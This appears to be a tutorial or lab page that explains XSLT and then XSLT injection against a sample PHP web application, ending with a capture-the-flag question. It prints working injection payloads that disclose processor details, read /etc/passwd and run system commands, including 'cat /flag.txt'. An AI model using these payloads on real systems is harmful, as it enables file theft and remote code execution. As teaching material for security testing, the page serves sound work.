XSLT

eXtensible Stylesheet Language Transformation (XSLT) is a language enabling the transformation of XML documents. For instance, it can select specific nodes from an XML document and change the XML structure.

eXtensible Stylesheet Language Transformation (XSLT)

Since XSLT operates on XML-based data, we will consider the following sample XML document to explore how XSLT operates:

<?xml version="1.0" encoding="UTF-8"?>
<fruits>
    <fruit>
        <name>Apple</name>
        <color>Red</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Banana</name>
        <color>Yellow</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Strawberry</name>
        <color>Red</color>
        <size>Small</size>
    </fruit>
</fruits>

However, it contains XSL elements within nodes prefixed with the xsl-prefix. The following are some commonly used XSL elements:

  • <xsl:template>: This element indicates an XSL template. It can contain a match attribute that contains a path in the XML document that the template applies to

  • <xsl:value-of>: This element extracts the value of the XML node specified in the select attribute

  • <xsl:for-each>: This element enables looping over all XML nodes specified in the select attribute

For instance, a simple XSLT document used to output all fruits contained within the XML document as well as their color, may look like this:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template match="/fruits">
		Here are all the fruits:
		<xsl:for-each select="fruit">
			<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
		</xsl:for-each>
	</xsl:template>
</xsl:stylesheet>

XSLT Injection

Identifying XSLT Injection

At the bottom of the page, we can provide a username that is inserted into the headline at the top of the list:

To confirm that, let us try to inject a broken XML tag to try to provoke an error in the web application. We can achieve this by providing the username <:

As we can see, the web application responds with a server error. While this does not confirm that an XSLT injection vulnerability is present, it might indicate the presence of a security issue.

Information Disclosure

We can try to infer some basic information about the XSLT processor in use by injecting the following XSLT elements:

Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />

The web application provides the following response:

Local File Inclusion (LFI)

For instance, XSLT contains a function unparsed-text that can be used to read a local file:

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

However, it was only introduced in XSLT version 2.0. Thus, our sample web application does not support this function and instead errors out. However, if the XSLT library is configured to support PHP functions, we can call the PHP function file_get_contents using the following XSLT element:

<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

Our sample web application is configured to support PHP functions. As such, the local file is displayed in the response:

Remote Code Execution (RCE)

For instance, we can call the PHP function system to execute a command:

<xsl:value-of select="php:function('system','id')" />

PoCs - Questions

  • Exploit the XSLT Injection vulnerability to obtain RCE and read the flag.

<xsl:value-of select="php:function('system','cat /flag.txt')" />

Last updated